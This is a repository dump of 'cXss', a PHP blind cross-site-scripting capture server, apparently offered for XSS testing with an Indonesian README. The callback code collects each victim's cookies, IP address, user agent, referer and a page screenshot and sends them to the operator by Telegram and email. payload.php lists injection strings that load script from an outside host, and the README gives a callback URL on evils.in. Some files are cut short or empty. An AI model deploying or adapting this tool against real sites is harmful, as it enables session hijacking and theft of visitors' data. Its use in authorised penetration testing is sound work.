├── cans ├── .htaccess ├── footer.php ├── header.php ├── payload.php ├── index.php └── view.php ├── screenshot ├── 1.png └── 2.png ├── assets ├── images │ ├── bug.png │ └── ng-background-dot1.png ├── fonts │ ├── fontawesome-webfont.eot │ ├── fontawesome-webfont.ttf │ ├── fontawesome-webfont.woff │ └── fontawesome-webfont.woff2 ├── css │ ├── hack.min.css │ └── font-awesome.min.css └── js │ ├── popper.min.js │ ├── bootstrap.min.js │ └── jquery-3.3.1.slim.min.js ├── .htaccess ├── inc ├── conf.php └── function.php ├── callback.php ├── README.md └── index.js /cans/.htaccess: -------------------------------------------------------------------------------- 1 | RewriteEngine on 2 | DirectoryIndex index.php -------------------------------------------------------------------------------- /screenshot/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vsec7/cXss/master/screenshot/1.png -------------------------------------------------------------------------------- /screenshot/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vsec7/cXss/master/screenshot/2.png -------------------------------------------------------------------------------- /assets/images/bug.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vsec7/cXss/master/assets/images/bug.png -------------------------------------------------------------------------------- /assets/fonts/fontawesome-webfont.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vsec7/cXss/master/assets/fonts/fontawesome-webfont.eot -------------------------------------------------------------------------------- /assets/fonts/fontawesome-webfont.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vsec7/cXss/master/assets/fonts/fontawesome-webfont.ttf -------------------------------------------------------------------------------- /assets/fonts/fontawesome-webfont.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vsec7/cXss/master/assets/fonts/fontawesome-webfont.woff -------------------------------------------------------------------------------- /assets/images/ng-background-dot1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vsec7/cXss/master/assets/images/ng-background-dot1.png -------------------------------------------------------------------------------- /assets/fonts/fontawesome-webfont.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vsec7/cXss/master/assets/fonts/fontawesome-webfont.woff2 -------------------------------------------------------------------------------- /.htaccess: -------------------------------------------------------------------------------- 1 | RewriteEngine on 2 | DirectoryIndex index.js 3 | RewriteCond %{REQUEST_FILENAME} !-d 4 | RewriteCond %{REQUEST_FILENAME}.php -f 5 | RewriteRule ^(.*)$ $1.php 6 | -------------------------------------------------------------------------------- /cans/footer.php: -------------------------------------------------------------------------------- 1 | 2 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /inc/conf.php: -------------------------------------------------------------------------------- 1 | ip_address = getUserIP(); 9 | $obj->datetime = date("d-m-Y H:i:s"); 10 | $obj->id = $n; 11 | createImg($obj->screenshot, $c); 12 | $obj->screenshot = "../screenshot/".$c.".png"; 13 | $data = json_encode($obj); 14 | 15 | $d = json_decode($data); 16 | $message = "XSS Captured [".$d->datetime."]\n\nURL : `".$d->origin."`\nVuln Url : `".$d->uri."`\nReferer : `".$d->referer."`\nVictim IP : `".$d->ip_address."`\nVictim User Agent : \n`".$d->user_agent."`\n\nCookies : \n`".$d->cookies."`\n\nThanks For Using cXss\nFrom : `".$_SERVER['HTTP_HOST']."`"; 17 | 18 | // Send Notify to Telegram 19 | if(!empty($token)&&!empty($idRecipient)){ 20 | echo sendTelegram($token, $idRecipient, $message); 21 | } 22 | 23 | // Send Notify To Email 24 | if(!empty($email)){ 25 | $subject = "XSS Captured [".$d->origin."]"; 26 | echo sendEmail($email, $subject, str_replace("`", "", $message)); 27 | } 28 | header('Content-Type: application/json'); 29 | echo insert($db, $n, $data); 30 | }else{ 31 | die("

403 Forbidden !

"); 32 | } 33 | 34 | -------------------------------------------------------------------------------- /cans/header.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | cXss 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 41 | 42 |
43 |
44 |
45 | -------------------------------------------------------------------------------- /assets/css/hack.min.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Hack v2.020 - https://sourcefoundry.org/hack/ 3 | * Licenses - Fonts: Hack Open Font License + Bitstream Vera license, CSS: MIT License 4 | */ 5 | /* 6 | //@font-face{font-family:'Hack';src:url('../fonts/eot/latin/hack-regular-latin-webfont.eot?v=2.020');src:url('../fonts/eot/latin/hack-regular-latin-webfont.eot?#iefix&v=2.020') format('embedded-opentype'),url('../fonts/woff2/latin/hack-regular-latin-webfont.woff2?v=2.020') format('woff2'),url('../fonts/woff/latin/hack-regular-latin-webfont.woff?v=2.020') format('woff'),url('../fonts/web-ttf/latin/hack-regular-latin-webfont.ttf?v=2.020') format('truetype');font-weight:400;font-style:normal}@font-face{font-family:'Hack';src:url('../fonts/eot/latin/hack-bold-latin-webfont.eot?v=2.020');src:url('../fonts/eot/latin/hack-bold-latin-webfont.eot?#iefix&v=2.020') format('embedded-opentype'),url('../fonts/woff2/latin/hack-bold-latin-webfont.woff2?v=2.020') format('woff2'),url('../fonts/woff/latin/hack-bold-latin-webfont.woff?v=2.020') format('woff'),url('../fonts/web-ttf/latin/hack-bold-latin-webfont.ttf?v=2.020') format('truetype');font-weight:700;font-style:normal}@font-face{font-family:'Hack';src:url('../fonts/eot/latin/hack-italic-latin-webfont.eot?v=2.020');src:url('../fonts/eot/latin/hack-italic-latin-webfont.eot?#iefix&v=2.020') format('embedded-opentype'),url('../fonts/woff2/latin/hack-italic-latin-webfont.woff2?v=2.020') format('woff2'),url('../fonts/woff/latin/hack-italic-latin-webfont.woff?v=2.020') format('woff'),url('../fonts/web-ttf/latin/hack-italic-latin-webfont.ttf?v=2.020') format('truetype');font-weight:400;font-style:italic}@font-face{font-family:'Hack';src:url('../fonts/eot/latin/hack-bolditalic-latin-webfont.eot?v=2.020');src:url('../fonts/eot/latin/hack-bolditalic-latin-webfont.eot?#iefix&v=2.020') format('embedded-opentype'),url('../fonts/woff2/latin/hack-bolditalic-latin-webfont.woff2?v=2.020') format('woff2'),url('../fonts/woff/latin/hack-bolditalic-latin-webfont.woff?v=2.020') format('woff'),url('../fonts/web-ttf/latin/hack-bolditalic-latin-webfont.ttf?v=2.020') format('truetype');font-weight:700;font-style:italic} 7 | 8 | */ -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # cXss 2 | Capture XSS 3 | 4 | ## ScreenShot 5 | ![Alt text](https://raw.githubusercontent.com/vsec7/cXss/master/screenshot/1.png "screenshot") 6 | ![Alt text](https://raw.githubusercontent.com/vsec7/cXss/master/screenshot/2.png "screenshot") 7 | 8 | #### Created By : Versailles ~ Sec7or Team 9 | 10 | cXss adalah Capture XSS / CansXSS :p digunakan untuk Testing Blind XSS. 11 | 12 | *Untuk yang ingin membuat logger XSS sendiri seperti xsshunter.* 13 | 14 | ### FEATURES 15 | - Mengirim Notifikasi ke Telegram dan Email 16 | - cXss men-capture beberapa data korban yg Ter-Trigger XSS diantara nya : 17 | - Screenshoot 18 | - Victim IP address 19 | - Victim Cookies 20 | - dll 21 | 22 | ### INSTALLATION 23 | git clone / upload repo ini di web server anda 24 | 25 | #### Edit File index.js , ganti cans.evils.in dengan domain anda 26 | ``` 27 | var url = "http://cans.evils.in/callback"; 28 | ``` 29 | 30 | #### Edit file inc/conf.php dengan konfigurasi anda 31 | ``` 32 | 60 | ``` 61 | #### To See Result : 62 | **yourdomain.com/cans/** 63 | 64 | ## PERHATIAN ! 65 | *Hanya untuk pembelajaran dan kegiatan **Ethical Hacking**, Hal negatif yang anda perbuat dengan tool ini diluar tanggung jawab author* 66 | 67 | Demo : **http://cans.evils.in** 68 | 69 | Donation Paypal : vsec48@gmail.com :v 70 | 71 | Thanks :) I miss You Cans .. :) 72 | -------------------------------------------------------------------------------- /cans/payload.php: -------------------------------------------------------------------------------- 1 | ', 22 | '', 23 | "javascript:eval('var a=document.createElement(\'script\');a.src=\'http://".$host."\';document.body.appendChild(a)')", 24 | '', 25 | '">